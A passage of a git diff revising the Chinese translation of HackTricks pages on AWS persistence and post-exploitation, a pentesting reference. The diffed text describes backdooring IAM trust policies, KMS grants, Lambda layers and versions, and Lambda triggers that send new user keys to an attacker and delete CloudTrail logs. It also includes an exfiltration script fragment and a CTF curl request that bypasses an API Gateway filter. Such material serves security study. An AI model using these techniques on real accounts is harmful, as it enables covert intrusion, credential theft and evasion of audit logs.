-Elastic Beanstalk 提供生命周期钩子,允许您在实例配置和终止期间运行自定义脚本。攻击者可以 **配置生命周期钩子以定期执行一个脚本,提取数据或保持对 AWS 账户的访问**。
+Elastic Beanstalk 提供生命周期钩子,允许您在实例配置和终止期间运行自定义脚本。攻击者可以 **配置生命周期钩子以定期执行一个脚本,窃取数据或保持对 AWS 账户的访问**。
```bash
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
index dbd67c1a0..fba3e4959 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
@@ -17,11 +17,11 @@
- 创建访问密钥(新用户或所有用户的访问密钥)
- 授予受控用户/组额外权限(附加策略或内联策略)
- 禁用 MFA / 添加您自己的 MFA 设备
-- 创建角色链 juggling 情况(有关更多信息,请参见下面的 STS 持久性)
+- 创建角色链 juggling 情况(有关此内容,请参见下面的 STS 持久性)
### 后门角色信任策略
-您可以后门信任策略,以便能够假设它用于由您控制的外部资源(或对所有人):
+您可以在信任策略中设置后门,以便能够假设它用于由您控制的外部资源(或对所有人):
```json
{
"Version": "2012-10-17",
@@ -38,10 +38,10 @@
```
### 后门策略版本
-将管理员权限授予一个不是最后版本的策略(最后版本应该看起来合法),然后将该版本的策略分配给一个受控用户/组。
+将管理员权限授予一个不是其最后版本的策略(最后版本应该看起来合法),然后将该版本的策略分配给一个受控用户/组。
### 后门 / 创建身份提供者
-如果账户已经信任一个常见的身份提供者(如Github),则可以增加信任的条件,以便攻击者可以利用它们。
+如果账户已经信任一个常见的身份提供者(例如 Github),则可以增加信任的条件,以便攻击者可以利用它们。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
index b8bdf0792..1f12ae19b 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
@@ -12,7 +12,7 @@
### 通过 KMS 策略授予访问权限
-攻击者可以使用权限 **`kms:PutKeyPolicy`** 来 **授予访问** 一个密钥给他控制的用户或甚至是一个外部账户。有关更多信息,请查看 [**KMS 权限提升页面**](../aws-privilege-escalation/aws-kms-privesc.md)。
+攻击者可以使用权限 **`kms:PutKeyPolicy`** 来 **授予访问** 某个密钥给他控制的用户或甚至外部账户。有关更多信息,请查看 [**KMS Privesc 页面**](../aws-privilege-escalation/aws-kms-privesc.md)。
### 永久授权
@@ -20,7 +20,7 @@
因此,用户可以拥有 10 个具有所有权限的授权。攻击者应该不断监控这一点。如果在某个时刻 1 个授权被移除,应该生成另外 10 个授权。
-(我们使用 10 而不是 2,以便能够检测到一个授权被移除,而用户仍然拥有一些授权)
+(我们使用 10 而不是 2,以便能够检测到某个授权被移除,而用户仍然拥有一些授权)
```bash
# To generate grants, generate 10 like this one
aws kms create-grant \
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
index d2b82e30b..406467f94 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
@@ -1,4 +1,4 @@
-# AWS - Lambda Persistence
+# AWS - Lambda 持久性
{{#include ../../../../banners/hacktricks-training.md}}
@@ -10,17 +10,17 @@
../../aws-services/aws-lambda-enum.md
{{#endref}}
-### Lambda Layer Persistence
+### Lambda 层持久性
-可以**引入/后门一个层以在隐秘的方式下执行任意代码**,当lambda被执行时:
+可以**引入/后门一个层以在 lambda 执行时执行任意代码**,以隐蔽的方式:
{{#ref}}
aws-lambda-layers-persistence.md
{{#endref}}
-### Lambda Extension Persistence
+### Lambda 扩展持久性
-利用Lambda Layers,也可以利用扩展并在lambda中持久化,同时窃取和修改请求。
+滥用 Lambda 层也可以滥用扩展并在 lambda 中持久化,同时窃取和修改请求。
{{#ref}}
aws-abusing-lambda-extensions.md
@@ -28,37 +28,37 @@ aws-abusing-lambda-extensions.md
### 通过资源策略
-可以授予外部账户对不同lambda操作(如调用或更新代码)的访问权限:
+可以授予外部账户对不同 lambda 操作(如调用或更新代码)的访问权限:
.png)
### 版本、别名和权重
-一个Lambda可以有**不同的版本**(每个版本有不同的代码)。\
-然后,您可以创建**不同版本的不同别名**并为每个设置不同的权重。\
-这样,攻击者可以创建一个**后门版本1**和一个**仅包含合法代码的版本2**,并**仅在1%的请求中执行版本1**以保持隐秘。
+一个 Lambda 可以有**不同的版本**(每个版本有不同的代码)。\
+然后,您可以创建**不同版本的不同别名**并为每个别名设置不同的权重。\
+这样,攻击者可以创建一个**后门版本 1**和一个**仅包含合法代码的版本 2**,并**仅在 1% 的请求中执行版本 1**以保持隐蔽。
.png)
-### 版本后门 + API Gateway
+### 版本后门 + API 网关
-1. 复制Lambda的原始代码
-2. **创建一个新的版本,后门化**原始代码(或仅包含恶意代码)。发布并**将该版本部署**到$LATEST
-1. 调用与lambda相关的API网关以执行代码
-3. **创建一个包含原始代码的新版本**,发布并将该**版本**部署到$LATEST。
+1. 复制 Lambda 的原始代码
+2. **创建一个新的版本,后门化**原始代码(或仅包含恶意代码)。发布并**将该版本**部署到 $LATEST
+1. 调用与 lambda 相关的 API 网关以执行代码
+3. **创建一个包含原始代码的新版本**,发布并将该**版本**部署到 $LATEST。
1. 这将隐藏之前版本中的后门代码
-4. 转到API Gateway并**创建一个新的POST方法**(或选择任何其他方法),该方法将执行lambda的后门版本:`arn:aws:lambda:us-east-1::function::1`
-1. 注意arn的最后部分:1 **指示函数的版本**(在此场景中,版本1将是后门版本)。
-5. 选择创建的POST方法,在操作中选择**`部署API`**
-6. 现在,当您**通过POST调用函数时,您的后门**将被调用
+4. 转到 API 网关并**创建一个新的 POST 方法**(或选择任何其他方法),该方法将执行 lambda 的后门版本:`arn:aws:lambda:us-east-1::function::1`
+1. 注意 arn 最后的 :1 **指示函数的版本**(在此场景中,版本 1 将是后门版本)。
+5. 选择创建的 POST 方法,在操作中选择**`部署 API`**
+6. 现在,当您**通过 POST 调用函数时,您的后门**将被调用
-### Cron/Event actuator
+### Cron/事件触发器
-您可以使**lambda函数在某些事件发生或经过一段时间后运行**,这使得lambda成为获得持久性和避免检测的良好且常见的方法。\
-在这里,您有一些想法,可以通过创建lambdas使您的**AWS存在更加隐秘**。
+您可以使**lambda 函数在某些事件发生或经过一段时间后运行**,这使得 lambda 成为获得持久性和避免检测的良好且常见的方法。\
+在这里,您有一些想法可以通过创建 lambdas 来使您在 AWS 中的**存在更加隐蔽**。
-- 每当创建新用户时,lambda生成一个新用户密钥并将其发送给攻击者。
-- 每当创建新角色时,lambda授予被攻陷用户假设角色的权限。
-- 每当生成新的cloudtrail日志时,删除/更改它们。
+- 每当创建新用户时,lambda 生成一个新用户密钥并将其发送给攻击者。
+- 每当创建新角色时,lambda 授予被攻陷用户假设角色的权限。
+- 每当生成新的 cloudtrail 日志时,删除/更改它们
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
index 5bcb6d4df..a78f6bd26 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -4,10 +4,10 @@
## Lambda 扩展
-Lambda 扩展通过与各种 **监控、可观察性、安全和治理工具** 集成来增强功能。这些扩展通过 [.zip 压缩包使用 Lambda 层](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) 添加,或包含在 [容器镜像部署中](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/),以两种模式运行:**内部** 和 **外部**。
+Lambda 扩展通过与各种 **监控、可观察性、安全性和治理工具** 集成来增强功能。这些扩展通过 [.zip 压缩包使用 Lambda 层](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) 添加,或包含在 [容器镜像部署](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) 中,以两种模式运行:**内部** 和 **外部**。
- **内部扩展** 与运行时进程合并,使用 **特定语言的环境变量** 和 **包装脚本** 操作其启动。此自定义适用于多种运行时,包括 **Java Correto 8 和 11、Node.js 10 和 12,以及 .NET Core 3.1**。
-- **外部扩展** 作为单独的进程运行,与 Lambda 函数的生命周期保持操作对齐。它们与多种运行时兼容,如 **Node.js 10 和 12、Python 3.7 和 3.8、Ruby 2.5 和 2.7、Java Corretto 8 和 11、.NET Core 3.1** 以及 **自定义运行时**。
+- **外部扩展** 作为单独的进程运行,与 Lambda 函数的生命周期保持操作一致。它们与多种运行时兼容,如 **Node.js 10 和 12、Python 3.7 和 3.8、Ruby 2.5 和 2.7、Java Corretto 8 和 11、.NET Core 3.1** 以及 **自定义运行时**。
有关 [**Lambda 扩展如何工作的更多信息,请查看文档**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html)。
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
index af5a1d01b..2fcf4482f 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -8,9 +8,9 @@ Lambda 层是一个 .zip 文件归档,**可以包含额外的代码**或其他
每个函数最多可以包含 **五个层**。当你在一个函数中包含一个层时,**内容会被提取到执行环境中的 `/opt`** 目录。
-**默认情况下**,你创建的 **层** 对你的 AWS 账户是 **私有** 的。你可以选择 **与其他账户共享** 一个层或 **将** 该层 **公开**。如果你的函数使用了其他账户发布的层,即使该层被删除或你被撤销访问权限,你的函数仍然可以 **继续使用该层版本**。但是,你不能使用已删除的层版本创建新函数或更新函数。
+**默认情况下**,你创建的 **层** 对你的 AWS 账户是 **私有** 的。你可以选择 **与其他账户共享** 一个层或 **将** 该层 **公开**。如果你的函数使用了其他账户发布的层,你的函数可以 **在该层被删除后,或在你被撤销访问该层的权限后继续使用该层版本**。但是,你不能使用已删除的层版本创建新函数或更新函数。
-作为容器镜像部署的函数不使用层。相反,当你构建镜像时,你将所需的运行时、库和其他依赖项打包到容器镜像中。
+作为容器镜像部署的函数不使用层。相反,当你构建镜像时,你将首选的运行时、库和其他依赖项打包到容器镜像中。
### Python load path
@@ -18,20 +18,20 @@ Python 在 lambda 中使用的加载路径如下:
```
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
```
-检查 **第二** 和 **第三** **位置** 是否被 **lambda layers** 解压其文件的目录占用: **`/opt/python/lib/python3.9/site-packages`** 和 **`/opt/python`**
+检查 **第二** 和第三 **位置** 被 **lambda layers** 解压其文件的目录占用情况: **`/opt/python/lib/python3.9/site-packages`** 和 **`/opt/python`**
> [!CAUTION]
-> 如果攻击者设法 **后门** 一个被使用的 lambda **layer** 或 **添加一个** 在加载常用库时会 **执行任意代码** 的层,他将能够在每次 lambda 调用时执行恶意代码。
+> 如果攻击者设法 **后门** 一个被使用的 lambda **layer** 或 **添加一个** 在加载常见库时会 **执行任意代码** 的层,他将能够在每次 lambda 调用时执行恶意代码。
因此,要求是:
-- **检查库** 这些库是 **被受害者代码加载的**
+- **检查** 受害者代码 **加载的库**
- 创建一个 **带有 lambda layers 的代理库**,该库将 **执行自定义代码** 并 **加载原始** 库。
### 预加载的库
> [!WARNING]
-> 在滥用此技术时,我发现了一个困难:一些库在你的代码执行时已经在 python 运行时中 **被加载**。我原本期待找到像 `os` 或 `sys` 这样的东西,但 **甚至 `json` 库也被加载**。\
+> 在滥用此技术时,我发现了一个困难:一些库在你的代码执行时已经在 python 运行时中 **加载**。我原本期待找到像 `os` 或 `sys` 这样的东西,但 **甚至 `json` 库也已加载**。\
> 为了滥用这种持久性技术,代码需要 **加载一个在代码执行时未加载的新库**。
使用这样的 python 代码,可以获得 **在 lambda 中预加载的库列表**:
@@ -48,20 +48,20 @@ return {
```
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
```
-这是**lambda 默认包含的库**列表:[https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
+这是**lambda默认安装的库**列表:[https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
### Lambda Layer 后门
-在这个例子中,假设目标代码正在导入 **`csv`**。我们将对 **`csv` 库的导入进行后门处理**。
+在这个例子中,假设目标代码正在导入**`csv`**。我们将对**`csv`库的导入进行后门处理**。
-为此,我们将创建目录 **csv**,并在其中放置文件 **`__init__.py`**,路径为 lambda 加载的路径:**`/opt/python/lib/python3.9/site-packages`**\
-然后,当 lambda 执行并尝试加载 **csv** 时,我们的 **`__init__.py` 文件将被加载并执行**。\
+为此,我们将创建目录csv,并在其中放置文件**`__init__.py`**,路径为lambda加载的路径:**`/opt/python/lib/python3.9/site-packages`**\
+然后,当lambda被执行并尝试加载**csv**时,我们的**`__init__.py`文件将被加载并执行**。\
该文件必须:
- 执行我们的有效载荷
-- 加载原始的 csv 库
+- 加载原始的csv库
-我们可以通过以下方式同时完成这两项:
+我们可以通过以下方式实现这两者:
```python
import sys
from urllib import request
@@ -83,7 +83,7 @@ import csv as _csv
sys.modules["csv"] = _csv
```
-然后,创建一个 zip 文件,包含此代码,路径为 **`python/lib/python3.9/site-packages/__init__.py`**,并将其添加为 lambda 层。
+然后,创建一个包含此代码的 zip 文件,路径为 **`python/lib/python3.9/site-packages/__init__.py`** 并将其添加为 lambda 层。
您可以在 [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) 找到此代码。
@@ -101,8 +101,8 @@ sys.modules["csv"] = _csv
因此,为了提高此技术的灵活性,攻击者可以:
- 在用户的现有层中植入后门(没有任何外部内容)
-- **在他的账户中创建**一个**层**,给予**受害者账户使用**该层的权限,**配置**受害者的 Lambda 中的**层**并**移除权限**。
-- **Lambda** 仍然能够**使用该层**,而**受害者**将没有任何简单的方法来**下载层代码**(除了在 lambda 内部获取反向 shell)
+- **在** **他的账户中创建**一个**层**,给予**受害者账户使用**该层的**访问权限**,**配置**受害者的 Lambda 中的**层**并**移除权限**。
+- **Lambda** 仍然能够**使用该层**,而**受害者将**没有任何简单的方法来**下载层代码**(除了在 lambda 内部获取反向 shell)
- 受害者**不会看到**使用 **`aws lambda list-layers`** 的外部层
```bash
# Upload backdoor layer
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
index 03372a14f..0ddb4d339 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
@@ -4,7 +4,7 @@
## Lightsail
-有关更多信息,请查看:
+更多信息请查看:
{{#ref}}
../aws-services/aws-lightsail-enum.md
@@ -12,22 +12,22 @@
### 下载实例 SSH 密钥和数据库密码
-它们可能不会被更改,因此拥有它们是持久性的一个好选择
+它们可能不会被更改,因此拥有它们是持久性的一个好选择。
### 后门实例
-攻击者可以访问实例并对其进行后门操作:
+攻击者可以访问实例并植入后门:
- 例如使用传统的 **rootkit**
- 添加新的 **公共 SSH 密钥**
-- 使用后门暴露一个端口并进行端口敲击
+- 通过端口敲击暴露一个端口并植入后门
### DNS 持久性
如果域名已配置:
-- 创建一个指向您的 IP 的子域,以便您将拥有 **子域接管**
+- 创建一个指向您 IP 的子域,以便您将拥有 **子域接管**
- 创建 **SPF** 记录,允许您从该域发送 **电子邮件**
-- 将 **主域 IP 配置为您自己的 IP**,并从您的 IP 对合法 IP 执行 **MitM**
+- 将 **主域 IP 配置为您自己的 IP**,并从您的 IP 对合法 IP 执行 **MitM**
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
index 0d3859920..54afedd5d 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
@@ -10,7 +10,7 @@
../aws-services/aws-relational-database-rds-enum.md
{{#endref}}
-### 使实例公开可访问:`rds:ModifyDBInstance`
+### 使实例公开可访问: `rds:ModifyDBInstance`
具有此权限的攻击者可以**修改现有的 RDS 实例以启用公共可访问性**。
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
index 2eb434759..4eaf4055e 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
@@ -16,7 +16,7 @@
.png)
-因此,攻击者可以从元数据中获取此密钥,并使用 KMS(`aws kms decrypt`)进行解密,以获得用于加密信息的密钥。这样,攻击者将拥有加密密钥,如果该密钥被重用于加密其他文件,他将能够使用它。
+因此,攻击者可以从元数据中获取此密钥,并使用 KMS(`aws kms decrypt`)进行解密,以获取用于加密信息的密钥。这样,攻击者将拥有加密密钥,如果该密钥被重用于加密其他文件,他将能够使用它。
### 使用 S3 ACLs
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
index 7dc60a195..3057c7ce3 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
@@ -4,7 +4,7 @@
## Secrets Manager
-有关更多信息,请查看:
+更多信息请查看:
{{#ref}}
../aws-services/aws-secrets-manager-enum.md
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
index 98030299c..9b1ee6126 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
@@ -12,7 +12,7 @@
### 使用资源策略
-在 SQS 中,您需要通过 IAM 策略指明 **谁可以访问读取和写入**。可以指明外部账户、角色的 ARN,或 **甚至 "\*"**。\
+在 SQS 中,您需要通过 IAM 策略指明 **谁可以读取和写入**。可以指明外部账户、角色的 ARN,或 **甚至 "\*"**。\
以下策略允许 AWS 中的每个人访问名为 **MyTestQueue** 的队列中的所有内容:
```json
{
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
index 3bd0aae28..41ce6d92b 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
@@ -1 +1 @@
-# AWS - SSM Perssitence
+# AWS - SSM 持久性
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
index 2c12e3f5e..e4c18a935 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
@@ -12,10 +12,10 @@
### Step function Backdooring
-对步骤函数进行后门设置,使其执行任何持久性技巧,以便每次执行时都会运行您的恶意步骤。
+在步骤函数中植入后门,使其执行任何持久性技巧,以便每次执行时都会运行您的恶意步骤。
### Backdooring aliases
-如果AWS账户使用别名来调用步骤函数,则可以修改别名以使用步骤函数的新后门版本。
+如果 AWS 账户使用别名来调用步骤函数,则可以修改别名以使用新的植入后门版本的步骤函数。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
index 9ca4ad338..59702efb6 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
@@ -28,9 +28,9 @@ aws sts get-session-token \
### 角色链切换
-[**角色链切换是一个被认可的 AWS 特性**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining),通常用于保持隐蔽的持久性。它涉及能够 **假设一个角色,然后假设另一个角色**,可能以 **循环的方式** 还原到初始角色。每次假设角色时,凭证的过期字段都会刷新。因此,如果两个角色被配置为相互假设,这种设置允许凭证的永久更新。
+[**角色链是一个被认可的 AWS 特性**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining),通常用于保持隐蔽的持久性。它涉及能够 **假设一个角色,然后假设另一个角色**,可能以 **循环的方式** 还原到初始角色。每次假设角色时,凭证的过期字段都会刷新。因此,如果两个角色被配置为相互假设,这种设置允许凭证的永久更新。
-您可以使用这个 [**工具**](https://github.com/hotnops/AWSRoleJuggler/) 来保持角色链切换:
+您可以使用这个 [**工具**](https://github.com/hotnops/AWSRoleJuggler/) 来保持角色链的持续进行:
```bash
./aws_role_juggler.py -h
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
index 96829e503..f8967359c 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
@@ -12,35 +12,35 @@
### 访问未公开的 API
-您可以在 [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) 创建一个服务为 `com.amazonaws.us-east-1.execute-api` 的端点,将该端点暴露在您可以访问的网络中(可能通过 EC2 机器),并分配一个允许所有连接的安全组。\
+您可以在 [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) 创建一个服务为 `com.amazonaws.us-east-1.execute-api` 的端点,在您有访问权限的网络中公开该端点(可能通过 EC2 机器),并分配一个允许所有连接的安全组。\
然后,从 EC2 机器上,您将能够访问该端点,从而调用之前未公开的网关 API。
-### 绕过请求体传递
+### 绕过请求体透传
此技术在 [**此 CTF 文章**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp) 中发现。
正如 [**AWS 文档**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) 中的 `PassthroughBehavior` 部分所示,默认情况下,值 **`WHEN_NO_MATCH`** 在检查请求的 **Content-Type** 头时,将请求传递给后端而不进行任何转换。
-因此,在 CTF 中,API Gateway 有一个集成模板,该模板 **阻止了标志在响应中被外泄**,当请求以 `Content-Type: application/json` 发送时:
+因此,在 CTF 中,API Gateway 有一个集成模板,该模板 **阻止了标志在发送 `Content-Type: application/json` 的请求时被外泄**。
```yaml
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
```
-然而,发送一个带有 **`Content-type: text/json`** 的请求将会阻止该过滤器。
+然而,发送带有 **`Content-type: text/json`** 的请求将会阻止该过滤器。
-最后,由于 API Gateway 仅允许 `Get` 和 `Options`,因此可以通过发送一个带有查询的 POST 请求,并使用头部 `X-HTTP-Method-Override: GET` 来发送任意的 dynamoDB 查询,而没有任何限制:
+最后,由于 API Gateway 仅允许 `Get` 和 `Options`,因此可以通过发送带有查询的 POST 请求并使用头部 `X-HTTP-Method-Override: GET` 来发送任意的 dynamoDB 查询,而没有任何限制:
```bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
```
### 使用计划 DoS
-在 **Enumeration** 部分,您可以看到如何 **获取密钥的使用计划**。如果您拥有密钥并且它的 **每月使用次数限制为 X**,您可以 **直接使用它并造成 DoS**。
+在 **Enumeration** 部分,您可以看到如何 **获取密钥的使用计划**。如果您拥有密钥并且它的 **限制** 是每月 X 次使用,您可以 **直接使用它并造成 DoS**。
-**API Key** 只需包含在一个名为 **`x-api-key`** 的 **HTTP 头** 中。
+**API Key** 只需包含在名为 **`x-api-key`** 的 **HTTP header** 中。
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
-拥有权限 `apigateway:UpdateGatewayResponse` 和 `apigateway:CreateDeployment` 的攻击者可以 **修改现有的 Gateway Response,以包含自定义头或响应模板,这些模板泄露敏感信息或执行恶意脚本**。
+拥有权限 `apigateway:UpdateGatewayResponse` 和 `apigateway:CreateDeployment` 的攻击者可以 **修改现有的 Gateway Response,以包含自定义头或响应模板,从而泄露敏感信息或执行恶意脚本**。
```bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
@@ -58,7 +58,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
-拥有权限 `apigateway:UpdateStage` 和 `apigateway:CreateDeployment` 的攻击者可以 **修改现有的API Gateway阶段,将流量重定向到不同的阶段或更改缓存设置以获得对缓存数据的未经授权访问**。
+拥有权限 `apigateway:UpdateStage` 和 `apigateway:CreateDeployment` 的攻击者可以**修改现有的API Gateway阶段,将流量重定向到不同的阶段或更改缓存设置以获得对缓存数据的未经授权访问**。
```bash
API_ID="your-api-id"
STAGE_NAME="Prod"
@@ -76,7 +76,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
-拥有权限 `apigateway:PutMethodResponse` 和 `apigateway:CreateDeployment` 的攻击者可以**修改现有API Gateway REST API方法的响应,以包含自定义头或响应模板,这些头或模板泄露敏感信息或执行恶意脚本**。
+拥有权限 `apigateway:PutMethodResponse` 和 `apigateway:CreateDeployment` 的攻击者可以**修改现有API Gateway REST API方法的响应,以包含自定义头或响应模板,从而泄露敏感信息或执行恶意脚本**。
```bash
API_ID="your-api-id"
